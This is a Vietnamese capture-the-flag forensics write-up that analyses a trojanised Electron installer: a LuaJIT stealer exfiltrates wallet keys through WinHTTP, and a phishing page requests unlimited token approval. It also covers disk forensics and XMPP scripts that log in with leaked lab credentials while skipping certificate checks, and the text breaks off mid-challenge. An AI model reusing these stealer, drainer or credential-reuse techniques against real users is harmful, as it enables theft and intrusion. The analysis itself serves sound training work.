Challenge Difficulty Flag
1 - Silent Dividend Medium 10/10
2 - Bottle Out Easy 10/10
3 - Whisper Chain Medium 7/8
4 - Paper Ghost Easy 9/9
5 - Poisoned Branch Medium 15/15
6 - Silent Passenger Hard 4/20
7 - Iron Feather Hard 17/17
8 - Borrowed Name Insane 12/12

1 - Silent Dividend

The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.


Difficulty: Medium

Q1: To which directory does the application copy the files bundled within the extraResources folder?

Yêu cầu: Xác định đường dẫn thư mục mà ứng dụng sao chép các tệp nằm trong thư mục extraResources.

Ban đầu, giải nén file SilentDividend.zip bằng mật khẩu được cung cấp trong DANGER.txt là E9$LQ2@Mr7A!. Bên trong thu được tệp thực thi TrustSettle 1.0.0.exe và file README.md.

Kiểm tra chuỗi nhị phân của TrustSettle 1.0.0.exe, phát hiện chữ ký Nullsoft, cho thấy đây là một bộ cài đặt NSIS Installer. Sử dụng WinRAR để giải nén toàn bộ gói NSIS

Kiểm tra với binwalk mình thấy đây thực chất là file PE có chứa 1 khối dữ liệu nén 7-Zip ở cuối file cụ thể là ngay sau 50KB mã máy của file exe

Vì thế nên mình dùng 7-Zip để giải nén file exe này ra

Bên trong chứa rất nhiều file thư viện .dll nhưng mình chỉ chú ý đến 2 folder là

  • extraResources/ (chứa .env, api.txt, lua51.dll, luajit.exe)
  • resources/app.asar (gói mã nguồn chính của ứng dụng Electron)

Sử dụng @electron/asar để unpack gói lưu trữ app.asar

1
npx @electron/asar extract resources/app.asar app_source/

Tiến hành kiểm tra tệp app_source/preload.js

Ứng dụng duyệt qua tất cả các file trong extraResources và copy thẳng vào C:\Users\Public. Điều này cũng trùng khớp với chỉ dẫn trong README.md yêu cầu người dùng cấu hình ví vào .env tại thư mục này

C:\Users\Public

Q2: Which Win32 structure defines the format of the buffer returned by the Lua script when monitoring directory changes?

Yêu cầu: Xác định tên cấu trúc Win32 API định nghĩa định dạng bộ đệm (buffer) trả về khi script Lua thực hiện giám sát các thay đổi trong thư mục.

Tại dòng 23 của preload.js, ứng dụng kích hoạt một tiến trình ngầm nhằm thực thi script Lua đã được sao chép vào C:\Users\Public

Tệp api.txt thực chất là một mã nguồn LuaJIT bị làm rối (obfuscated), sử dụng thư viện FFI (Foreign Function Interface) để liên kết với các hàm native trong thư viện kernel32.dll. Mục tiêu của script là lắng nghe sự kiện ghi/thay đổi tệp .env tại C:\Users\Public để đánh cắp Private Key ngay khi nạn nhân lưu lại.

Trong lập trình hệ thống Windows, hàm Win32 chuẩn được sử dụng để theo dõi các sự kiện trong hệ thống tệp là ReadDirectoryChangesW

1
2
3
4
5
6
7
8
9
10
BOOL ReadDirectoryChangesW(
HANDLE hDirectory,
LPVOID lpBuffer,
DWORD nBufferLength,
BOOL bWatchSubtree,
DWORD dwNotifyFilter,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped,
LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);

Theo mô tả của Microsoft Win32 API, tham số lpBuffer là con trỏ trỏ tới bộ đệm chứa kết quả đọc được định dạng theo cấu trúc FILE_NOTIFY_INFORMATION. Mỗi phần tử trong cấu trúc này chứa thông tin về loại thay đổi (Action), độ dài tên file (FileNameLength) và tên tệp bị tác động (FileName)

FILE_NOTIFY_INFORMATION

Q3: Which Win32 API is used by the Lua script to send an HTTP request to the remote server?

Yêu cầu: Xác định Win32 API được script Lua sử dụng để gửi HTTP request chứa dữ liệu đánh cắp về máy chủ C2.

Phân tích tiếp phần giao tiếp mạng của script LuaJIT (api.txt). Để tránh bị phát hiện bởi các phần mềm giám sát thông thường, malware không sử dụng socket thuần hay PowerShell mà gọi trực tiếp các API của hệ thống mạng Windows thông qua winhttp.dll (Windows HTTP Services).

Luồng thực thi WinHTTP chuẩn để gửi dữ liệu bao gồm chuỗi API:

  1. WinHttpOpen: Khởi tạo phiên làm việc HTTP.
  2. WinHttpConnect: Thiết lập kết nối đến máy chủ C2 từ xa.
  3. WinHttpOpenRequest: Khởi tạo HTTP request header (phương thức POST/GET).
  4. WinHttpSendRequest: Gửi HTTP request cùng payload dữ liệu tới máy chủ.
  5. WinHttpReceiveResponse: Đợi và nhận phản hồi từ server.

API chịu trách nhiệm gửi request và đẩy dữ liệu lên máy chủ điều khiển là WinHttpSendRequest.

WinHttpSendRequest

Q4: Which smart contract function does the Electron application invoke to retrieve the decryption key for the encrypted payload?

Yêu cầu: Xác định hàm Smart Contract mà ứng dụng Electron gọi để lấy khóa giải mã payload.

Quay lại kiểm tra tệp preload.js trong thư mục app_asar_extracted/. Từ dòng 26 đến 36, mã độc khai báo các thông tin kết nối Web3

Tại dòng 211–221, hàm queryRemoteState() thực hiện gọi hàm này thông qua đối tượng hợp đồng ethers.Contract

Giá trị state (bytes32) trả về từ hàm này sau đó được truyền trực tiếp vào hàm decryptEmbeddedData(ENCRYPTED_DATA, state) đóng vai trò là khóa giải mã (encryptionKey). Do đó, hàm được invoke trên contract là resolveState()

resolveState()

Q5: Investigate the smart contract using its address, analyze its logic, and recover the flag by decoding the encrypted data.

Yêu cầu: Điều tra Smart Contract tại địa chỉ 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1, phân tích logic để lấy khóa và giải mã chuỗi ENCRYPTED_DATA để tìm flag theo định dạng ****=******** **********_*********=**-****.

Trong preload.js, chuỗi dữ liệu bị mã hóa được nhúng tĩnh ở dòng 40

Kiểm tra địa chỉ 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1 trên Sepolia Etherscan thấy contract chưa được xác minh (unverified source code). Sử dụng RPC để trích xuất bytecode bằng eth_getCode

Cấu trúc mã máy của phép so sánh hàm trong EVM luôn có dạng:

1
80 63 [4-byte-selector] 14 61 [địa-chỉ-nhảy] 57

Trong đó:

  • 80: Opcode DUP1 (nhân đôi selector mà người gọi gửi tới).
  • 63: Opcode PUSH4 (ngay sau 63 chính là 4 byte của Function Selector).
  • 14: Opcode EQ (so sánh bằng).
  • 61 xxxx 57: PUSH2 và JUMPI (nếu đúng hàm thì nhảy tới đoạn code của hàm đó).

Phân tích dispatcher của bytecode, trích xuất được 5 function selector dạng 4-byte

  • 0x34104e10
  • 0x39435b00
  • 0x6c49b42d
  • 0x77b3774c
  • 0xf52a8e27

Thực hiện gọi thử nghiệm từng selector qua eth_call. Khi gọi selector, contract trả về chuỗi 32 byte và selector đúng là 0x77b3774c sau khi mình thử từng cái

Phân tích hàm giải mã decryptEmbeddedData() trong preload.js:

  • magicConstant = 0x42
  • rotationBits = 7
  • Thuật toán giải mã từng byte
1
2
3
step1 = encryptedByte ^ keyByte
step2 = ROL8(step1, 7)
plainByte = step2 ^ 0x42

Viết script Python để giải mã toàn bộ khối ENCRYPTED_DATA

1
2
3
4
5
6
7
8
9
10
11
enc_data = bytes.fromhex("560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0")
key = bytes.fromhex("3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4")

res = bytearray(len(enc_data))
for i in range(len(enc_data)):
k = key[i % len(key)]
s1 = enc_data[i] ^ k
s2 = ((s1 << 7) | (s1 >> 1)) & 0xff
res[i] = s2 ^ 0x42

print(res.decode('utf-8'))

Kết quả trả về

Chuỗi flag khớp định dạng ****=******** **********_*********=**-**** là phần tham số xác thực: AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821

AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821

Q6: Which environment variable corresponds to the directory where the application copies the HTML file from its package?

Yêu cầu: Xác định biến môi trường Windows tương ứng với thư mục mà ứng dụng sao chép tệp HTML từ package ra ngoài.

Trong preload.js, dòng 230–233 ghi tệp settlement.html ra thư mục tài nguyên ngoài

Đồng thời, khi payload độc hại được giải mã ở Câu 5 thực thi, lệnh command line trực tiếp gọi

1
start "" "%TEMP%\settlement.html"

Lệnh này sử dụng biến môi trường %TEMP% (thư mục tạm của người dùng hiện tại, thường là C:\Users\<User>\AppData\Local\Temp) để trỏ đến tệp HTML lừa đảo và hiển thị giao diện cho nạn nhân.

%TEMP%

Q7: What token function does the HTML page call to request spending permission?

Yêu cầu: Xác định hàm ERC-20 token mà trang HTML gọi để yêu cầu quyền chi tiêu tài sản từ ví người dùng.

Mở tệp giao diện lừa đảo src/settlement.html. Trang web này giả mạo một bản thỏa thuận điều khoản dịch vụ (“Terms of Service Agreement”), yêu cầu người dùng kết nối ví và bấm nút “I Agree”.

Kiểm tra đoạn mã JavaScript xử lý sự kiện trong thẻ <script> ở cuối file, tại hàm requestApproval() (dòng 368–377)

Hàm được gọi trên hợp đồng Token (MOCK_TOKEN_ADDRESS) là hàm chuẩn ERC-20 approve nhằm ủy quyền cho hợp đồng của kẻ tấn công (X0_CONTRACT_ADDRESS) rút toàn bộ số dư của nạn nhân.

approve()

Q8: What is the exact token amount passed to the approval call?

Yêu cầu: Xác định giá trị số chính xác được truyền vào lệnh gọi approve.

Quan sát dòng 373–375 của settlement.html

Biến unlimitedAmount được gán hằng số ethers.MaxUint256. Trong thư viện ethers.js, MaxUint256 là giá trị nguyên không dấu 256-bit lớn nhất có thể biểu diễn trong máy ảo EVM $(2^{256} - 1)$

1
115792089237316195423570985008687907853269984665640564039457584007913129639935

Đây là kỹ thuật điển hình của các hợp đồng Drainer/Phishing nhằm chiếm trọn quyền rút vô hạn token khỏi tài khoản nạn nhân mà không cần xin cấp quyền lại

115792089237316195423570985008687907853269984665640564039457584007913129639935

Q9: What ethers.js v6 provider class is used to connect to the browser wallet?

Yêu cầu: Xác định class provider của thư viện ethers.js phiên bản 6 được dùng để kết nối với ví trình duyệt (MetaMask).

Tại phần đầu của settlement.html, thư viện ethers.js phiên bản 6 được nhúng qua CDN

Trong hàm connect() (dòng 342), đối tượng provider được khởi tạo như sau

Trong khi ethers.js v5 sử dụng ethers.providers.Web3Provider, thì ở ethers.js v6, class chuẩn để bọc đối tượng EIP-1193 (window.ethereum) của các ví extension là BrowserProvider

BrowserProvider

Q10: Analyze the HTML page to uncover a smart contract reference. Investigate the contract’s logic and determine how to interact with it to recover the hidden flag.

Yêu cầu: Phân tích trang HTML để tìm địa chỉ smart contract mục tiêu, điều tra logic của contract và xác định cách tương tác nhằm khôi phục flag ẩn theo định dạng **.****,*.****.

Trong settlement.html (dòng 287), địa chỉ của hợp đồng Drainer được khai báo

Tiến hành đọc các storage slot của contract 0x69Bf5b... trên mạng Sepolia bằng eth_getStorageAt bằng cách chạy thẳng trên trình duyệt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
async function getStorage() {
const rpc = "https://ethereum-sepolia-rpc.publicnode.com";
const to = "0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D";

for (let slot = 1; slot <= 2; slot++) {
const res = await fetch(rpc, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getStorageAt",
params: [to, "0x" + slot.toString(16), "latest"],
id: 1,
}),
});
const data = await res.json();
console.log(`Slot ${slot}:`, data.result);
}
}
getStorage();

Phân tích mã bytecode đã dịch ngược (decompiled):

  1. Hàm 0x282940a7 (getHiddenOwner) trả về một địa chỉ được tính bằng phép XOR bit giữa hai slot lưu trữ: $$\text{Hidden Owner} = \text{Slot 1} \oplus \text{Slot 2}$$ Tiến hành tính toán phép XOR:
1
2
3
4
  0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b
^ 0x7ccb3a440e383635148b237d13473c069ba9ffd6545c58ee37e969b87d181c01
----------------------------------------------------------------------
= 0x000000000000000000000000ebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a

Do đó, địa chỉ chủ sở hữu ẩn (Hidden Owner) là: 0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a

  1. Kiểm tra hàm 0xf8e6e11f: Hàm này nhận vào một tham số kiểu address.
    • Nếu địa chỉ truyền vào khác Hidden Owner, contract sẽ revert chuỗi: not quite - keep analyzing.
    • Nếu truyền vào chính xác địa chỉ Hidden Owner 0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a, contract sẽ giải mã và trả về chuỗi flag.

Thực hiện gọi hàm qua Node.js

1
2
3
4
const res = await rpc('eth_call', [{
to: '0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D',
data: '0xf8e6e11f000000000000000000000000ebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a'
}, 'latest']);

Phản hồi trả về chuỗi hex ABI-encoded

1
0x000...00020000...00000e35312e353034392c302e303334380000...

Giải mã 14 byte chuỗi ASCII (0x35312e353034392c302e30333438)

Đây là tọa độ GPS hợp lệ (khu vực London), đúng theo định dạng

51.5049,0.0348


2 - Bottle Out

The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental. RDP into the analysis VM. The credentials are Administrator:Holmes2026!


Difficulty: Easy

Q1: What are the remote address and port of the VPN server that the user connected to? (IPv4:port)?

Yêu cầu: Xác định địa chỉ IP và cổng của máy chủ VPN mà người dùng đã kết nối.

Đầu tiên, sử dụng FTK Imager để duyệt cấu trúc file hệ thống từ file ảnh đĩa .E01. Quá trình kiểm tra thư mục [root]/Users/spur/OpenVPN cho thấy thư mục gốc đã bị xóa rỗng

Tuy nhiên, bằng cách chuyển sang phân vùng [orphan], mình phát hiện tệp nhật ký spur.log

Khi trích xuất và đọc file log này, thông tin kết nối UDPv4 tới máy chủ VPN của kẻ tấn công được ghi nhận

18.156.81.166:7577

Q2: What Certificate Authority (CA) issued the VPN client certificate? (string)

Yêu cầu: Xác định tên của Tổ chức phát hành chứng chỉ (CA) đã cấp phát chứng chỉ cho VPN client

Tiếp tục phân tích file spur.log đã thu thập được ở câu trước. Cuộn xuống phần quy trình xác thực chứng chỉ (Certificate Authentication), log sẽ hiển thị chuỗi xác minh (verify) chứa chi tiết về nhà phát hành. Từ dòng VERIFY OK: depth=1, ta có thể trích xuất được tên của CA

NPLN-CA

Q3: What is the IP address assigned to the user by the VPN server? (IPv4 address)

Yêu cầu: Xác định địa chỉ IP nội bộ mà máy chủ VPN đã cấp phát cho máy người dùng.

Vẫn trong file spur.log, cuộn xuống phần thông báo MANAGEMENT liên quan đến trạng thái cấp phát mạng (IP routing/assignment). Tại đây, máy chủ VPN sẽ gửi cấu hình IP cục bộ (tun/tap) để gán cho client

10.129.175.2

Q4: It seems that the PC is remotely managed. What is the name and version of the installed remote management agent? (Agent Name v.X.Y.Z)

Yêu cầu: Xác định tên và phiên bản của phần mềm quản lý từ xa (RMM) đã được cài đặt trên máy.

Duyệt cây thư mục hệ thống tại [root]/Program Files/TacticalAgent, phát hiện công cụ quản lý từ xa Tactical RMM đã được cài đặt.

Để lấy thông tin chính xác về phiên bản, tiến hành trích xuất file thực thi tacticalrmm.exe ra máy phân tích. Sử dụng công cụ exiftool được cài sẵn trong thư mục Tool của VM

Ngoài ra có thể nhanh hơn bằng cách xem trực tiếp properties của file thực thi

Tactical RMM Agent v.2.11.0

Q5: What is the domain the remote management agent connects to? (fully qualified domain name)

Yêu cầu: Xác định Tên miền đầy đủ (FQDN) mà agent RMM kết nối tới.

Phần mềm Tactical RMM hoạt động dưới dạng một Windows Service, do đó cấu hình của nó thường được lưu trữ trong Registry thay vì file text thông thường

Sử dụng Autopsy để mount file Registry Hive SOFTWARE (nằm tại [root]/Windows/System32/config/SOFTWARE). Chuyển sang tab Application (Registry Viewer) và truy cập theo đường dẫn HKLM\SOFTWARE\TacticalRMM. Tại đây, khóa ApiURL lưu trữ Tên miền truy cập chính của máy chủ điều khiển

api.antimattercommunication.xyz

Q6: What is the remote management agent Authentication Token? (SHA-1 Hash)

Yêu cầu: Xác định mã Token xác thực (dạng SHA-1) của agent RMM.

Ngay bên dưới khóa ApiURL trong cùng nhánh Registry HKLM\SOFTWARE\TacticalRMM vừa tìm được ở câu trên, hệ thống lưu trữ một khóa tên là Token. Đây là chuỗi mã băm SHA-1 được sử dụng để xác thực Agent với máy chủ C2 một cách tự động

98ec588da683c01820232943a6151e8e7772419b

Q7: What is the first of the three commands executed in Operation Vanish? (*********** ************ :******* ******** ******)

Yêu cầu: Khôi phục lệnh đầu tiên trong chuỗi lệnh PowerShell dùng để xóa dấu vết (Operation Vanish) dựa trên độ dài ký tự ẩn.

Vì file nhật ký PowerShell (ConsoleHost_history.txt) đã bị ghi đè hoặc xóa hoàn toàn khỏi đĩa cứng, ta buộc phải dùng kỹ thuật phân tích độ dài chuỗi (wildcard matching) kết hợp với các dữ kiện hiện có:

  • *********** (11 ký tự): Khớp lệnh PowerShell -> Remove-Item
  • ************ (12 ký tự): Khớp tham số đường dẫn tuyệt đối -> -LiteralPath
  • *:\*****\****\*****: Khớp đường dẫn thư mục chat (C-Users-spur-Gajim) -> C:\Users\spur\Gajim
  • ******** (8 ký tự): Khớp tham số xóa đệ quy -> -Recurse
  • ****** (6 ký tự): Khớp tham số ép buộc -> -Force

Ghép các thành phần này lại, ta tái tạo được lệnh xóa hoàn chỉnh.

Remove-Item -LiteralPath C:\Users\spur\Gajim -Recurse -Force

Q8: What is the account used to connect to the instant messaging server through the software previously identified? (email address)

Yêu cầu: Xác định tài khoản (định dạng email) được sử dụng để đăng nhập vào phần mềm nhắn tin Gajim.

Quay lại khu vực thư mục [orphan], tìm thấy các file cơ sở dữ liệu bị xóa thuộc về thư mục UserData của ứng dụng Gajim. Khi trích xuất và đọc các cơ sở dữ liệu thô này bằng SQLite Viewer hoặc trình đọc Text, ta phát hiện tài khoản JID (Jabber ID) có định dạng giống hệt email được sử dụng làm danh tính liên lạc chính

spurio9@murknet.htb

Q9: What is the password for that account? (string)

Yêu cầu: Xác định mật khẩu bản rõ của tài khoản nhắn tin trên.

Từ thông tin tài khoản thu thập được, tiếp tục trích xuất file Settings.sqlite nằm trong thư mục UserData bị mồ côi của Gajim

Mở cơ sở dữ liệu này và chạy truy vấn tìm kiếm chuỗi (string search) với từ khóa “password” hoặc duyệt bảng cấu hình. Mật khẩu của tài khoản XMPP được lưu trữ dưới dạng bản rõ (plaintext) trong database này

spur999!*

Q10: What is the full name of the jailer? (FirstName LastName)

Yêu cầu: Xác định họ và tên đầy đủ của kẻ bắt cóc/tấn công.

Để tìm định danh thực sự của kẻ tấn công, tiến hành rà soát các file log còn sót lại trong thư mục [orphan] và mình tìm thấy file log duy nhất còn lại là 000008.log

Trong file 000008.log (thực chất là một file LevelDB lưu trữ bộ nhớ đệm của trình duyệt web), xuất hiện dấu vết truy cập Outlook. Kẻ tấn công đã vô tình để lộ địa chỉ email của mình là Abel.stokes@hotmail.com khi duyệt web trên máy nạn nhân. Từ chuỗi định danh này, ta dễ dàng suy ra họ tên đầy đủ

Abel stokes


3 - Whisper Chain

The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.


Difficulty: Medium

Q1: List all Subject Alternative Names present in the server’s TLS certificate. Report the primary hostname first, followed by the remaining SANs in alphabetical order. (fqdn,fqdn,fqdn,fqdn)

Kiểm tra các cổng dịch vụ đang mở trên server, phát hiện port 443 (HTTPS) đang hoạt động nên mình bắt đầu trinh sát từ đây:

Dùng port 443 đã tìm được để kết nối tới server và lấy thông tin thì nhận được danh sách các Subject Alternative có trong kết quả trả về

murknet.htb,command.murknet.htb,groups.murknet.htb,upload.murknet.htb

Q2: List the names of all public channels available on the XMPP server, sorted alphabetically. (string,string,string,string)

Do không thể dùng Gajim và Pidgin để kết nối tới server do lỗi cert nên mình dùng script để thay thế kết nối tới server đọc thông tin danh sách các phòng chat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import logging
import asyncio
import ssl
import slixmpp

class RoomNameDiscoverer(slixmpp.ClientXMPP):
def __init__(self, jid, password):
super().__init__(jid, password)
self.add_event_handler("session_start", self.start)

async def start(self, event):
self.send_presence()
print("[*] Đang lấy TÊN HIỂN THỊ chính xác của các phòng...")

try:
result = await self.plugin['xep_0030'].get_items(jid="groups.murknet.htb")

names = []
for item in result['disco_items']['items']:
room_jid = item[0]
room_name = item[2] # LẤY TÊN HIỂN THỊ THAY VÌ JID

# Nếu phòng có tên hiển thị thì lấy, không thì lùi về JID
display_name = room_name if room_name else room_jid.split('@')[0]
names.append(display_name)
print(f" - Phân tích: JID '{room_jid}' -> Tên: '{display_name}'")

print("\n" + "="*50)
if names:
# Sắp xếp theo bảng chữ cái
sorted_names = sorted(names)
print("[+] Flag 2 (Hãy thử chuỗi này):", ",".join(sorted_names))
print("="*50 + "\n")

except Exception as e:
print(f"[-] Lỗi: {e}")

self.disconnect()

if __name__ == '__main__':
logging.basicConfig(level=logging.ERROR)
xmpp = RoomNameDiscoverer("azaki2@murknet.htb", "thanhhao123")
xmpp.register_plugin('xep_0030')

ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
ssl_ctx.options |= getattr(ssl, 'OP_NO_TLSv1_3', 0)
ssl_ctx.options |= getattr(ssl, 'OP_LEGACY_SERVER_CONNECT', 0)
try:
ssl_ctx.minimum_version = ssl.TLSVersion.TLSv1
except Exception:
pass
try:
ssl_ctx.set_ciphers('ALL:@SECLEVEL=0')
except Exception:
pass

xmpp.ssl_context = ssl_ctx
xmpp.use_ssl = False

if xmpp.connect(("10.129.4.219", 5222)):
loop = asyncio.get_event_loop()
try:
loop.run_until_complete(xmpp.disconnected)
except KeyboardInterrupt:
xmpp.disconnect()

Infrastructure,Random,Resources,Rules

Q3: Investigate the conversations to find the credentials of one of the APT members. (email address:password)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import asyncio
import logging
import ssl
import sys
import slixmpp

if hasattr(sys.stdout, 'reconfigure'):
sys.stdout.reconfigure(encoding='utf-8')

class ChatHistoryViewer(slixmpp.ClientXMPP):
def __init__(self, jid, password):
super().__init__(jid, password)

self.rooms = ['infra', 'random', 'resources', 'rules']
self.add_event_handler("session_start", self.start)
self.add_event_handler("message", self.on_message)

async def start(self, event):
self.send_presence()
print("[+] Đăng nhập thành công! Đang gửi yêu cầu vào các phòng...")

for room in self.rooms:
room_jid = f"{room}@groups.murknet.htb"
p = self.Presence()
p['to'] = f"{room_jid}/swissclock"
muc_x = slixmpp.xmlstream.ET.Element('{http://jabber.org/protocol/muc}x')
history = slixmpp.xmlstream.ET.Element('{http://jabber.org/protocol/muc}history')
history.attrib['maxstanzas'] = '1000'
muc_x.append(history)
p.xml.append(muc_x)
p.send()

print("[*] Đang nhận tin nhắn...")
await asyncio.sleep(5)
print("[*] Thu thập xong. Đang ngắt kết nối.")
self.disconnect()

def on_message(self, msg):
if msg['body']:
sender = msg['from'].resource if msg['from'].resource else "SYSTEM"
room = msg['from'].bare.split('@')[0]
print(f"[{room}] {sender}: {msg['body']}")

if __name__ == '__main__':
logging.basicConfig(level=logging.ERROR)

xmpp = ChatHistoryViewer("zytglogge88@murknet.htb", "TickTock24!")
xmpp.register_plugin('xep_0030')
xmpp.register_plugin('xep_0045')

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.options |= getattr(ssl, 'OP_NO_TLSv1_3', 0)
xmpp.ssl_context = ctx

print("[*] Đang kết nối tới Server ...")
xmpp.connect("10.129.5.100", 5222)

loop = asyncio.get_event_loop()
try:
loop.run_until_complete(xmpp.disconnected)
except KeyboardInterrupt:
xmpp.disconnect()

Sau khi đã lấy được các cuộc hội thoại mình vào chat [INFRA] để xem các thành viên bàn kế hoạch thì trong lúc bàn bạc 1 thành viên đã vô tình làm lộ các mật khẩu cũ

Và trong đoạn chat [RESOURCES] một thành viên cũng nói đùa về việc tưởng tượng việc bị lộ thông tin đăng nhập thông qua pdf và ngay sau đó người dùng swissclock liền gửi 1 file pdf vì thế mình tiến hành tải file này về và kiểm tra

Kiểm tra sơ bộ với exiftool thì vô tình tác giả đã quên xóa đi phần Author và đã làm lộ email Kết hợp với các mật khẩu đã lộ mình thấy người dùng này tên là swissclock = đồng hồ thụy sĩ nên có khả năng mật khẩu là TickTock24! = tiếng của đồng hồ

zytglogge88@murknet.htb:TickTock24!

Q4: What is the URL of the social media account used by one of the APT members? (://*******./*****)

Trong một đoạn hội thoại, một thành viên đã nhắc đến việc từng xuất bản một trang web về hoạt động của tổ chức nhưng đã gỡ xuống ngay sau đó. Nhận định trang web có thể đã được lưu trữ bản snapshot, mình kiểm tra dịch vụ Wayback Machine:

Kiểm tra với WaybackMachine thì mình thấy có 1 bản ghi vào ngày 5/8/2026 nên tiến hành xem

Truy cập vào thì mình được trang web về các hoạt động của nhóm này và tại phần Attribution, mình tìm thấy thông tin về mạng xã hội của 1 thành viên trong nhóm

https://stonedforums.htb/@porlock

Q5: What is the XMR wallet used in the first operation? (string)

Vẫn tiếp tục điều tra với website đã tìm được mình tiến tới phần More artifacts và tìm được script giải mã base64 với key

Còn về việc tìm các đoạn base64 khi mình dùng tài khoản zytglogge88 (swissclock) để rà quét dịch vụ (Service Discovery) trên máy chủ murknet.htb, hệ thống liệt kê một thành phần PubSub (XMPP Publish-Subscribe):

  • JID: command.murknet.htb (Murknet Command Dispatcher)
  • Gồm 2 kênh phát lệnh (PubSub nodes) tương ứng với 2 chiến dịch:
    1. Node op_sparkling (OpSparkling Command Dispatcher)
    2. Node op_snatch (OpSnatch Command Dispatcher)

Để lấy các lệnh này, ta gửi gói tin XML chuẩn XMPP PubSub

1
2
3
4
5
<iq type='get' to='command.murknet.htb' id='get_snatch'>
<pubsub xmlns='http://jabber.org/protocol/pubsub'>
<items node='op_snatch'/>
</pubsub>
</iq>

Vì vậy mình dùng script sau để làm việc này

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import socket
import ssl
import time
import base64
import sys
import os

HOST = '10.129.5.100'
PORT = 5222
USER = 'zytglogge88'
PWD = 'TickTock24!'

# 1. Đọc nội dung XML cần gửi (từ file hoặc tham số)
xml_file = sys.argv[1] if len(sys.argv) > 1 else 'request.xml'

if os.path.isfile(xml_file):
with open(xml_file, 'r', encoding='utf-8') as f:
xml_content = f.read().strip()
elif xml_file.startswith('<'):
xml_content = xml_file.strip()
else:
print(f"[-] Không tìm thấy file: {xml_file}")
print("Cách dùng: python3 send_xml.py [duong_dan_file.xml]")
sys.exit(1)

# 2. Bắt tay & Đăng nhập XMPP
raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
raw.settimeout(5)
raw.connect((HOST, PORT))

# Stream & STARTTLS
raw.sendall(b"<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' to='murknet.htb' version='1.0'>")
time.sleep(0.2); raw.recv(4096)
raw.sendall(b"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
time.sleep(0.2); raw.recv(1024)

# SSL Wrap (TLS 1.2)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.options |= getattr(ssl, 'OP_NO_TLSv1_3', 0)
sock = ctx.wrap_socket(raw, server_hostname='murknet.htb')
sock.settimeout(5)

# Restart stream & Xác thực SASL PLAIN
sock.sendall(b"<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' to='murknet.htb' version='1.0'>")
time.sleep(0.2); sock.recv(4096)

auth_str = base64.b64encode(f"\0{USER}\0{PWD}".encode()).decode()
sock.sendall(f"<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>{auth_str}</auth>".encode())
time.sleep(0.3); sock.recv(4096)

# Restart stream, Bind Resource & Session
sock.sendall(b"<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' to='murknet.htb' version='1.0'>")
time.sleep(0.2); sock.recv(4096)
sock.sendall(b"<iq type='set' id='b1'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'/></iq>")
time.sleep(0.3); sock.recv(4096)
sock.sendall(b"<iq type='set' id='s1'><session xmlns='urn:ietf:params:xml:ns:xmpp-session'/></iq>")
time.sleep(0.3); sock.recv(4096)

# 3. Gửi nội dung XML từ file và in phản hồi từ server
sock.sendall(xml_content.encode('utf-8'))
time.sleep(1.5)

resp = b""
while True:
try:
chunk = sock.recv(16384)
if not chunk: break
resp += chunk
if len(chunk) < 16384: break
except Exception:
break

print(resp.decode('utf-8', errors='replace'))
sock.close()

Trước khi biết tên node nào tồn tại trên server mình cần khám phá các Node có tồn tại

1
2
3
<iq type='get' to='command.murknet.htb' id='disco_1'>
<query xmlns='http://jabber.org/protocol/disco#items'/>
</iq>

Server phản hồi

1
2
3
4
5
6
<iq from='command.murknet.htb' to='zytglogge88@murknet.htb/POFGMJcFO8o7' type='result' id='disco_1'>
